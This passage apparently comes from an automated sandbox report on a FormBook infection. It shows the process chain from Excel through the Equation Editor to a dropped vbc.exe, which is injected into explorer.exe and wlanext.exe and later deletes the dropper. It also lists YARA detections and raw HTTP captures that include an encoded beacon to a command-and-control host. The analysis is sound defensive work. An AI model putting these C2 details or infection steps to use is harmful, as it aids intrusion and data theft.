30 3b 0a 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 34 2e 36 65 6d 3b 0a 20 20 20 20 63 6f 6c 6f 72 3a 20 23 31 39 31 39 31 39 3b 0a 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 20 30 20 31 31 70 78 20 30 3b 0a 20 20 7d 0a 0a 20 20 6d 61 69 6e 20 70 20 7b 0a 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 2e 34 65 6d 3b 0a 20 20 20 20 63 6f 6c 6f 72 3a 20 23 33 61 33 61 33 61 3b 0a 20 20 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 33 30 30 3b 0a 20 20 20 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 20 32 65 6d 3b 0a 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0a 20 20 7d 0a 0a 20 20 6d 61 69 6e 20 70 20 61 20 7b 0a 20 20 20 20 63 6f 6c 6f 72 3a 20 23 33 61 33 61 33 61 3b 0a 20 20 20 20 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 20 6e 6f 6e 65 3b 0a 20 20 20 20 62 6f 72 64 65 72 2d 62 6f 74 74 6f 6d 3a 20 73 6f 6c 69 64 20 31 70 78 20 23 33 61 33 61 33 61 3b 0a 20 20 7d 0a 0a 20 20 62 6f 64 79 20 7b 0a 20 20 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 22 43 6c 61 72 6b 73 6f 6e 22 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0a 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 32 70 78 3b 0a 20 20 7d 0a 0a 20 20 23 73 74 61 74 75 73 2d 70 61 67 65 20 7b 0a 20 20 20 20 64 69 73 70 6c 61 79 3a 20 6e 6f 6e 65 3b 0a 20 20 7d 0a 0a 20 20 66 6f 6f 74 65 72 20 7b 0a 20 20 20 20 70 6f 73 69 74 69 6f 6e 3a 20 61 62 73 6f 6c 75 74 65 3b 0a 20 20 20 20 62 6f 74 74 6f 6d 3a 20 32 32 70 78 3b 0a 20 20 20 20 6c 65 66 74 3a 20 30 3b 0a 20 20 20 20 77 69 64 74 68 3a 20 31 30 30 25 3b 0a 20 20 20 20 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 0a 20 20 20 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 20 32 65 6d 3b 0a 20 20 7d 0a 0a 20 20 66 6f 6f 74 65 72 20 73 70 61 6e 20 7b 0a 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 20 31 31 70 78 3b 0a 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 65 6d 3b 0a 20 20 20 20 Data Ascii: <!DOCTYPE html><head> <title>400 Bad Request</title> <meta name="viewport" content="width=device-width, initial-scale=1"> <style type="text/css"> body { background: white; } main { position: absolute; top: 50%; left: 50%; transform: translate(-50%, -50%); text-align: center; min-width: 95vw; } main h1 { font-weight: 300; font-size: 4.6em; color: #191919; margin: 0 0 11px 0; } main p { font-size: 1.4em; color: #3a3a3a; font-weight: 300; line-height: 2em; margin: 0; } main p a { color: #3a3a3a; text-decoration: none; border-bottom: solid 1px #3a3a3a; } body { font-family: "Clarkson", sans-serif; font-size: 12px; } #status-page { display: none; } footer { position: absolute; bottom: 22px; left: 0; width: 100%; text-align: center; line-height: 2em; } footer span { margin: 0 11px; font-size: 1em;
Jan 27, 2021 20:07:51.432077885 CET	984	IN	Data Raw: 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 33 30 30 3b 0a 20 20 20 20 63 6f 6c 6f 72 3a 20 23 61 39 61 39 61 39 3b 0a 20 20 20 20 77 68 69 74 65 2d 73 70 61 63 65 3a 20 6e 6f 77 72 61 70 3b 0a 20 20 7d 0a 0a 20 20 66 6f 6f 74 65 72 20 73 70 61 6e 20 Data Ascii: font-weight: 300; color: #a9a9a9; white-space: nowrap; } footer span strong { font-weight: 300; color: #191919; } @media (max-width: 600px) { body { font-size: 10px; } } @font-face { font-family
Jan 27, 2021 20:07:51.432112932 CET	985	IN	Data Raw: 5a 63 36 54 67 4b 77 31 43 5a 4c 45 58 79 47 5a 76 49 55 6a 4a 54 46 4c 57 58 69 45 6a 6b 6a 50 2f 45 62 4e 73 72 37 4a 58 55 39 6b 62 54 57 76 76 4e 49 74 64 68 59 66 30 56 70 6a 56 43 35 78 36 41 57 48 30 43 6f 70 4a 39 6b 4c 4c 32 46 4d 6f 34 Data Ascii: Zc6TgKw1CZLEXyGZvIUjJTFLWXiEjkjP/EbNsr7JXU9kbTWvvNItdhYf0VpjVC5x6AWH0CopJ9kLL2FMo41uoZFFIwX0vyHuEjHYH2VmrxOkqFo0adgxDecFou4ep9oyEd/DYGc3ZB+z+7LZeRzLqapLukxRFwknNZLe1mD3UUryptN0i8agj3nXEkMT3jM6TFgFmSPui9ANP5tgumW+7GL2HT49v6T21zEFSmU/PyRmlIHkbMt
Jan 27, 2021 20:07:51.432140112 CET	986	IN	Data Raw: 41 62 54 6a 45 6d 75 66 55 51 6f 51 67 41 37 52 69 72 39 61 39 68 5a 78 71 47 69 48 63 52 46 7a 33 71 43 59 53 35 6f 69 36 56 6e 58 56 63 2b 31 6a 6f 48 35 33 57 4c 6c 77 6a 39 5a 58 78 72 33 37 75 63 66 65 38 35 4b 59 62 53 5a 45 6e 4e 50 71 75 Data Ascii: AbTjEmufUQoQgA7Rir9a9hZxqGiHcRFz3qCYS5oi6VnXVc+1joH53WLlwj9ZXxr37ucfe85KYbSZEnNPquYQLdZGuGjum67O6vs4pznNN15fYXFdOLuLWXrsKEmCQSfZo21npOsch0vJ4uwm8gxs1rVFd7xXNcYLdHOA8u6Q+yN/ryi71Hun8adEPitdau1oRoJdRdmo7vWKu+0nK470m8D6uPnOKeCe7xMpwlB3s5Szbpd7HP+
Jan 27, 2021 20:07:51.432176113 CET	987	IN	Data Raw: 64 57 72 56 38 34 7a 76 71 7a 55 70 39 38 37 66 66 4f 71 71 2b 70 6a 34 6c 4d 59 63 71 2b 5a 58 75 5a 73 78 54 49 4d 35 5a 7a 6e 4f 75 49 56 7a 61 6e 45 38 43 58 6a 4f 52 4a 38 38 35 36 67 57 65 63 49 73 37 33 47 34 49 56 61 54 6f 6d 2b 46 64 5a Data Ascii: dWrV84zvqzUp987ffOqq+pj4lMYcq+ZXuZsxTIM5ZznOuIVzanE8CXjORJ8856gWecIs73G4IVaTom+FdZmk13iQhZpVvwWaeJJvZwmZfgLrMEPDsmWSeTP2pgBIVqr44ljnDOc42NDfmKJscRnzjslLu8YD7DeUiQta8q+gTM8UuJgxqs1ltlxGmF3mHRe8w7M6YKbpYWBIZw6abAXoINXCHv8WIYdhau8bWC2V991qxUKLIeS
Jan 27, 2021 20:07:51.432220936 CET	988	IN	Data Raw: 73 55 74 73 78 4c 45 35 68 38 53 70 70 4e 4d 66 78 35 69 6a 57 48 70 62 33 6d 5a 31 45 36 68 46 5a 43 4f 74 4a 6d 38 39 4a 38 42 6e 78 37 48 39 43 4d 66 7a 59 41 58 4d 37 66 6d 78 47 73 68 77 4c 6a 56 68 6f 78 30 49 4c 46 71 72 77 35 2b 64 6f 7a Data Ascii: sUtsxLE5h8SppNMfx5ijWHpb3mZ1E6hFZCOtJm89J8Bnx7H9CMfzYAXM7fmxGshwLjVhox0ILFqrw5+doz1Kt5lGsvahyjMuRVHINKIASaMX6Aaz/zP39dVJaibMTznE8XEmMq8H7zHPYm8ZeF/aKMDTB0O12KY6trbCV4ekxPC26HLAH2M1LTSQ0hyP1ROTBMgNLCwxVMHS4fHg2e2RNqvGnJI340EzbSTZWms3Y345WE1qeFI
Jan 27, 2021 20:07:51.432260990 CET	990	IN	Data Raw: 6a 66 69 63 35 33 53 6e 75 34 72 53 74 2b 48 74 59 6a 2b 4a 76 41 47 4a 49 64 55 67 7a 75 6b 70 63 44 65 4a 72 47 31 62 6d 34 57 73 62 6c 75 59 78 4f 77 31 62 47 7a 77 4c 30 44 74 4c 41 71 42 6c 41 74 30 35 36 4c 61 6a 65 7a 71 36 48 72 5a 50 77 Data Ascii: jfic53Snu4rSt+HtYj+JvAGJIdUgzukpcDeJrG1bm4WsbluYxOw1bGzwL0DtLAqBlAt056Lajezq6HrZPw/M09kfgGcfzBOwryRaVDs6DJQcm6Z8PXsbsd4goAUYk4XLU6HLUiC2fVyfFCeYUc9OUuGlK7uaNENPDxPKgKHrPYD2KRgA0Jz1pdYiVah3ihI8SsbuZ7Qut7FtdT28OepdJALQ9kcuIqJaIlksKpGWQaBJEs5Ro2u
Jan 27, 2021 20:07:51.432296991 CET	991	IN	Data Raw: 49 73 56 6e 48 51 76 47 66 48 4a 59 2b 47 73 46 4f 76 65 49 61 4c 6b 5a 54 6f 6d 2b 43 35 70 6e 6e 30 5a 74 5a 4f 73 63 53 62 64 54 51 5a 49 5a 49 6a 7a 4e 47 71 33 6a 5a 65 59 56 58 71 62 44 42 4b 37 7a 4f 50 76 37 4e 6d 78 7a 6d 4d 43 6f 36 79 Data Ascii: IsVnHQvGfHJY+GsFOveIaLkZTom+C5pnn0ZtZOscSbdTQZIZIjzNGq3jZeYVXqbDBK7zOPv7NmxzmMCo6yxGOpqJLxQEPP8ebkh2xjxPso8Vpyed4bWtGDod5nbfYx2tE9IjIcwqDOQxCLgjqhrjJapxQj5aykZ/KjJyp8vYw2jOkioWHg6QaitbobouivfRYdGlwB0//RiIvIqLJ/al9rsfi5oavS3VijivkmceYKJ2jlOzsy3
Jan 27, 2021 20:07:51.432336092 CET	992	IN	Data Raw: 62 61 4b 64 68 59 6b 30 71 76 4f 51 56 49 71 79 6b 70 38 72 73 6c 57 4b 4b 62 77 45 6d 55 72 39 49 52 64 38 6c 67 73 49 66 2b 75 77 66 68 39 72 73 6a 2f 2f 30 34 7a 38 50 49 39 68 69 6d 33 61 35 51 30 68 41 67 43 76 57 73 45 6c 37 48 4c 47 6b 53 Data Ascii: baKdhYk0qvOQVIqykp8rslWKKbwEmUr9IRd8lgsIf+uwfh9rsj//04z8PI9him3a5Q0hAgCvWsEl7HLGkSm8xy74a7RIq2RyhLLq4vENxWg6Z8OdDn9k/pO8nvZ82B9HQH4suep5bgnoW/t4r+OSsr3KDZZ7hjnjRmpSwWGJ1Rz24Sgbupfrusw+nYg9brZp6vKv2bXV9yNo3FwRf1UmbhULadGRmefHVN7jCO1g05Yzd4bBIOY
Jan 27, 2021 20:07:51.432375908 CET	994	IN	Data Raw: 50 33 55 43 44 61 59 67 2f 34 41 2f 4a 38 2b 65 6d 71 41 74 30 47 53 57 39 51 6d 2b 6b 37 6b 35 75 59 62 72 75 30 61 4e 30 4a 59 59 52 78 4a 2b 54 49 52 2b 6e 4c 46 4d 64 4f 39 39 63 4f 75 69 69 68 38 46 49 79 73 53 4d 78 4b 7a 59 77 45 59 32 73 Data Ascii: P3UCDaYg/4A/J8+emqAt0GSW9Qm+k7k5uYbru0aN0JYYRxJ+TIR+nLFMdO99cOuiih8FIysSMxKzYwEY2sYWtbOMEdrKbPexlHwd4Hi/ghbyIF/MSXuoOf52DHIoeT/J0/wJ3SqRpQnpexxt4N+/hvbyP9ztH3+MHTs4d3Mnd3MuDPMpjQmmVVVe7pmpu5KHLiejRfHs+PruYnKemd+nbnlzBbpT+/sSSBYiT///ekfH78UPEBW
Jan 27, 2021 20:07:51.600979090 CET	995	IN	Data Raw: 39 79 46 49 39 70 49 64 59 71 59 66 31 4d 41 4e 36 52 49 2b 77 53 49 2f 71 55 5a 5a 48 77 6a 6f 6a 59 54 73 6a 59 66 6d 34 36 56 4d 69 5a 79 64 45 7a 72 5a 48 7a 71 5a 46 7a 72 5a 46 7a 6e 5a 45 7a 72 4b 52 73 33 7a 6b 72 44 74 79 6c 6f 75 63 37 Data Ascii: 9yFI9pIdYqYf1MAN6RI+wSI/qUZZHwjojYTsjYfm46VMiZydEzrZHzqZFzrZFznZEzrKRs3zkrDtylouc7Y6c5SNn2chZLr75MySMUDeDNMxk2kyDdtPEJJOKxLSMvRjTTD7cnRbuTgp3m8OV6eHKjHBlZrgyK1yZHa7MCVfmhivzwpWOcKUzXOkKV7rDlZ5wpTdc6QtX+sOVgfBjOPwohx9Tw4/28CMXfmTCj9bwoxZ+JOFHMf

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
6	192.168.2.22	49171	31.220.110.116	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Jan 27, 2021 20:07:56.862134933 CET	1000	OUT	GET /bw82/?OxlhlP1x=fbWA8CenQ3TkeqVhPkQUacOFLjWRhlcbsLRP5XQKQo+1RaQPyvftJQY27dLrrakP9R1/fg==&-Zz=NpM4AdWXGTqt_ry0 HTTP/1.1 Host: www.ismaelworks.com Connection: close Data Raw: 00 00 00 00 00 00 00 Data Ascii:
Jan 27, 2021 20:07:57.176649094 CET	1001	IN	HTTP/1.1 404 Not Found Connection: close Content-Type: text/html Last-Modified: Tue, 25 Jun 2019 07:06:32 GMT Etag: "999-5d11c7f8-ec1f1fb6aaaaddbf;;;" Accept-Ranges: bytes Content-Length: 2457 Date: Wed, 27 Jan 2021 19:07:56 GMT Server: LiteSpeed Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 75 73 22 20 70 72 65 66 69 78 3d 22 63 6f 6e 74 65 6e 74 3a 20 68 74 74 70 3a 2f 2f 70 75 72 6c 2e 6f 72 67 2f 72 73 73 2f 31 2e 30 2f 6d 6f 64 75 6c 65 73 2f 63 6f 6e 74 65 6e 74 2f 20 64 63 3a 20 68 74 74 70 3a 2f 2f 70 75 72 6c 2e 6f 72 67 2f 64 63 2f 74 65 72 6d 73 2f 20 66 6f 61 66 3a 20 68 74 74 70 3a 2f 2f 78 6d 6c 6e 73 2e 63 6f 6d 2f 66 6f 61 66 2f 30 2e 31 2f 20 6f 67 3a 20 68 74 74 70 3a 2f 2f 6f 67 70 2e 6d 65 2f 6e 73 23 20 72 64 66 73 3a 20 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 30 31 2f 72 64 66 2d 73 63 68 65 6d 61 23 20 73 69 6f 63 3a 20 68 74 74 70 3a 2f 2f 72 64 66 73 2e 6f 72 67 2f 73 69 6f 63 2f 6e 73 23 20 73 69 6f 63 74 3a 20 68 74 74 70 3a 2f 2f 72 64 66 73 2e 6f 72 67 2f 73 69 6f 63 2f 74 79 70 65 73 23 20 73 6b 6f 73 3a 20 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 34 2f 30 32 2f 73 6b 6f 73 2f 63 6f 72 65 23 20 78 73 64 3a 20 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 23 22 3e 0a 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 3e 0a 20 20 20 20 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 20 20 20 20 20 20 20 20 40 63 68 61 72 73 65 74 20 22 55 54 46 2d 38 22 3b 0a 20 20 20 20 20 20 20 20 5b 6e 67 5c 3a 63 6c 6f 61 6b 5d 2c 0a 20 20 20 20 20 20 20 20 5b 6e 67 2d 63 6c 6f 61 6b 5d 2c 0a 20 20 20 20 20 20 20 20 5b 64 61 74 61 2d 6e 67 2d 63 6c 6f 61 6b 5d 2c 0a 20 20 20 20 20 20 20 20 5b 78 2d 6e 67 2d 63 6c 6f 61 6b 5d 2c 0a 20 20 20 20 20 20 20 20 2e 6e 67 2d 63 6c 6f 61 6b 2c 0a 20 20 20 20 20 20 20 20 2e 78 2d 6e 67 2d 63 6c 6f 61 6b 2c 0a 20 20 20 20 20 20 20 20 2e 6e 67 2d 68 69 64 65 3a 6e 6f 74 28 2e 6e 67 2d 68 69 64 65 2d 61 6e 69 6d 61 74 65 29 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 64 69 73 70 6c 61 79 3a 20 6e 6f 6e 65 20 21 69 6d 70 6f 72 74 61 6e 74 3b 0a 20 20 20 20 20 20 20 20 7d 0a 0a 20 20 20 20 20 20 20 20 6e 67 5c 3a 66 6f 72 6d 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 64 69 73 70 6c 61 79 3a 20 62 6c 6f 63 6b 3b 0a 20 20 20 20 20 20 20 20 7d 0a 0a 20 20 20 20 20 20 20 20 2e 6e 67 2d 61 6e 69 6d 61 74 65 2d 73 68 69 6d 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 76 69 73 69 62 69 6c 69 74 79 3a 20 68 69 64 64 65 6e 3b 0a 20 20 20 20 20 20 20 20 7d 0a 0a 20 20 20 20 20 20 20 20 2e 6e 67 2d 61 6e 63 68 6f 72 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 70 6f 73 69 74 69 6f 6e 3a 20 61 62 73 6f 6c 75 74 65 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 3c 2f 73 74 79 6c 65 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 4f 6f 70 73 2c 20 73 6f 6d 65 Data Ascii: <!DOCTYPE html><html lang="en-us" prefix="content: http://purl.org/rss/1.0/modules/content/ dc: http://purl.org/dc/terms/ foaf: http://xmlns.com/foaf/0.1/ og: http://ogp.me/ns# rdfs: http://www.w3.org/2000/01/rdf-schema# sioc: http://rdfs.org/sioc/ns# sioct: http://rdfs.org/sioc/types# skos: http://www.w3.org/2004/02/skos/core# xsd: http://www.w3.org/2001/XMLSchema#"><head> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8"> <style type="text/css"> @charset "UTF-8"; [ng\:cloak], [ng-cloak], [data-ng-cloak], [x-ng-cloak], .ng-cloak, .x-ng-cloak, .ng-hide:not(.ng-hide-animate) { display: none !important; } ng\:form { display: block; } .ng-animate-shim { visibility: hidden; } .ng-anchor { position: absolute; } </style> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta name="viewport" content="width=device-width, initial-scale=1"> <title>Oops, some
Jan 27, 2021 20:07:57.176693916 CET	1003	IN	Data Raw: 74 68 69 6e 67 20 6c 6f 73 74 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 4f 6f 70 73 2c 20 6c 6f 6f 6b 73 20 6c 69 6b 65 20 74 68 65 20 70 61 67 65 Data Ascii: thing lost</title> <meta name="description" content="Oops, looks like the page is lost. Start your website on the cheap."> <link media="all" rel="stylesheet" href="/htdocs_error/style.css"> <link rel="stylesheet" href="https://maxc
Jan 27, 2021 20:07:57.176733017 CET	1003	IN	Data Raw: 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 3c 2f 62 6f 64 79 3e 0a 0a 3c 2f 68 74 6d 6c 3e 0a Data Ascii: </div> </div></body></html>

Code Manipulations

Statistics

CPU Usage

Click to jump to process

Memory Usage

Click to jump to process

High Level Behavior Distribution

Click to dive into process behavior distribution

Behavior

Click to jump to process

System Behavior

Analysis Process: EXCEL.EXE PID: 2308 Parent PID: 584

General

Start time:	20:05:50
Start date:	27/01/2021
Path:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
Wow64 process (32bit):	false
Commandline:	'C:\Program Files\Microsoft Office\Office14\EXCEL.EXE' /automation -Embedding
Imagebase:	0x13f7a0000
File size:	27641504 bytes
MD5 hash:	5FB0A0F93382ECD19F5F499A5CAA59F0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: EQNEDT32.EXE PID: 2316 Parent PID: 584

General

Start time:	20:06:10
Start date:	27/01/2021
Path:	C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE
Wow64 process (32bit):	true
Commandline:	'C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE' -Embedding
Imagebase:	0x400000
File size:	543304 bytes
MD5 hash:	A87236E214F6D42A65F5DEDAC816AEC8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: vbc.exe PID: 2932 Parent PID: 2316

General

Start time:	20:06:11
Start date:	27/01/2021
Path:	C:\Users\Public\vbc.exe
Wow64 process (32bit):	true
Commandline:	'C:\Users\Public\vbc.exe'
Imagebase:	0xc70000
File size:	913408 bytes
MD5 hash:	F49E0B01E26E5E197421C4260DD87545
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Yara matches:	Rule: JoeSecurity_AntiVM_3, Description: Yara detected AntiVM_3, Source: 00000004.00000002.2157316080.000000000239D000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000004.00000002.2157787740.0000000003B59000.00000004.00000001.sdmp, Author: Joe Security Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000004.00000002.2157787740.0000000003B59000.00000004.00000001.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Formbook, Description: detect Formbook in memory, Source: 00000004.00000002.2157787740.0000000003B59000.00000004.00000001.sdmp, Author: JPCERT/CC Incident Response Group
Antivirus matches:	Detection: 100%, Joe Sandbox ML
Reputation:	low

Chronological Activities

Analysis Process: vbc.exe PID: 2492 Parent PID: 2932

General

Start time:	20:06:13
Start date:	27/01/2021
Path:	C:\Users\Public\vbc.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\Public\vbc.exe
Imagebase:	0xc70000
File size:	913408 bytes
MD5 hash:	F49E0B01E26E5E197421C4260DD87545
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000005.00000002.2203086612.0000000000080000.00000040.00000001.sdmp, Author: Joe Security Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000005.00000002.2203086612.0000000000080000.00000040.00000001.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Formbook, Description: detect Formbook in memory, Source: 00000005.00000002.2203086612.0000000000080000.00000040.00000001.sdmp, Author: JPCERT/CC Incident Response Group Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000005.00000002.2203183179.00000000002C0000.00000040.00000001.sdmp, Author: Joe Security Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000005.00000002.2203183179.00000000002C0000.00000040.00000001.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Formbook, Description: detect Formbook in memory, Source: 00000005.00000002.2203183179.00000000002C0000.00000040.00000001.sdmp, Author: JPCERT/CC Incident Response Group Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000005.00000002.2203219773.0000000000400000.00000040.00000001.sdmp, Author: Joe Security Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000005.00000002.2203219773.0000000000400000.00000040.00000001.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Formbook, Description: detect Formbook in memory, Source: 00000005.00000002.2203219773.0000000000400000.00000040.00000001.sdmp, Author: JPCERT/CC Incident Response Group
Reputation:	low

Chronological Activities

Analysis Process: explorer.exe PID: 1388 Parent PID: 2492

General

Start time:	20:06:14
Start date:	27/01/2021
Path:	C:\Windows\explorer.exe
Wow64 process (32bit):	false
Commandline:
Imagebase:	0xffca0000
File size:	3229696 bytes
MD5 hash:	38AE1B3C38FAEF56FE4907922F0385BA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: wlanext.exe PID: 2968 Parent PID: 1388

General

Start time:	20:06:31
Start date:	27/01/2021
Path:	C:\Windows\SysWOW64\wlanext.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\wlanext.exe
Imagebase:	0x3e0000
File size:	77312 bytes
MD5 hash:	6F44F5C0BC6B210FE5F5A1C8D899AD0A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000007.00000002.2372400870.0000000000080000.00000040.00000001.sdmp, Author: Joe Security Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000007.00000002.2372400870.0000000000080000.00000040.00000001.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Formbook, Description: detect Formbook in memory, Source: 00000007.00000002.2372400870.0000000000080000.00000040.00000001.sdmp, Author: JPCERT/CC Incident Response Group Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000007.00000002.2372523372.0000000000210000.00000004.00000001.sdmp, Author: Joe Security Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000007.00000002.2372523372.0000000000210000.00000004.00000001.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Formbook, Description: detect Formbook in memory, Source: 00000007.00000002.2372523372.0000000000210000.00000004.00000001.sdmp, Author: JPCERT/CC Incident Response Group Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000007.00000002.2372501174.00000000001E0000.00000040.00000001.sdmp, Author: Joe Security Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000007.00000002.2372501174.00000000001E0000.00000040.00000001.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Formbook, Description: detect Formbook in memory, Source: 00000007.00000002.2372501174.00000000001E0000.00000040.00000001.sdmp, Author: JPCERT/CC Incident Response Group
Reputation:	moderate

Chronological Activities

Analysis Process: cmd.exe PID: 2268 Parent PID: 2968

General

Start time:	20:06:35
Start date:	27/01/2021
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	/c del 'C:\Users\Public\vbc.exe'
Imagebase:	0x4a450000
File size:	302592 bytes
MD5 hash:	AD7B9C14083B52BC532FBA5948342B98
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Disassembly

Code Analysis

Reset < >

Analysis Process: vbc.exe PID: 2932 Parent PID: 2316 vbc.exeCOMMON

Executed Functions

Function 0031B870, Relevance: 1.4, Strings: 1, Instructions: 158COMMON

Download Yara Rule

Strings

fCl, xrefs: 0031B92A

Memory Dump Source

Source File: 00000004.00000002.2156909467.0000000000310000.00000040.00000001.sdmp, Offset: 00310000, based on PE: false

Similarity

API ID:
String ID: fCl
API String ID: 0-625834680
Opcode ID: 4884a800a948d270fbbd7c4e7d98da9349e063d5afcd96b3659b23112effbc82
Instruction ID: 780ebf12982005b62188dc8454e28fc1c07fb71a505812519cc8429bb35f348d
Opcode Fuzzy Hash: 4884a800a948d270fbbd7c4e7d98da9349e063d5afcd96b3659b23112effbc82
Instruction Fuzzy Hash: 0861E274E012598FCB08CFA9D9445EEFBF6FF88300F24942AD819AB764DB3099468F51

Uniqueness

Uniqueness Score: -1.00%

Function 00311842, Relevance: 1.4, Strings: 1, Instructions: 151COMMON

Download Yara Rule

Strings

Uqw7, xrefs: 00311915

Memory Dump Source

Source File: 00000004.00000002.2156909467.0000000000310000.00000040.00000001.sdmp, Offset: 00310000, based on PE: false

Similarity

API ID:
String ID: Uqw7
API String ID: 0-1348954325
Opcode ID: 8ac1cf0ab15fdc38ef6d6a2d343a9a9bc8f1b0b89ed005f3c63312eef427895e
Instruction ID: d4efd237bcf29bed6ee59168b3a0a357c4184258c6aa92069cedbea742e30027
Opcode Fuzzy Hash: 8ac1cf0ab15fdc38ef6d6a2d343a9a9bc8f1b0b89ed005f3c63312eef427895e
Instruction Fuzzy Hash: 6E5117B0E0420A8FDB09CFAAD4506EEFBF2EF89301F24C56AD515A7255D7349A818F94

Uniqueness

Uniqueness Score: -1.00%

Function 00318810, Relevance: 1.3, Strings: 1, Instructions: 80COMMON

Download Yara Rule

Strings

)2ET, xrefs: 003188E8

Memory Dump Source

Source File: 00000004.00000002.2156909467.0000000000310000.00000040.00000001.sdmp, Offset: 00310000, based on PE: false

Similarity

API ID:
String ID: )2ET
API String ID: 0-983113979
Opcode ID: 09dcc2aa3c37137fd8c8aa328fe3a0b319eecd92e4edd0bbc3d95a939cbefa28
Instruction ID: 81f7bace292d8d5abafe22f86c6b2406babdc78bb028e172b1c469ec042f6d53
Opcode Fuzzy Hash: 09dcc2aa3c37137fd8c8aa328fe3a0b319eecd92e4edd0bbc3d95a939cbefa28
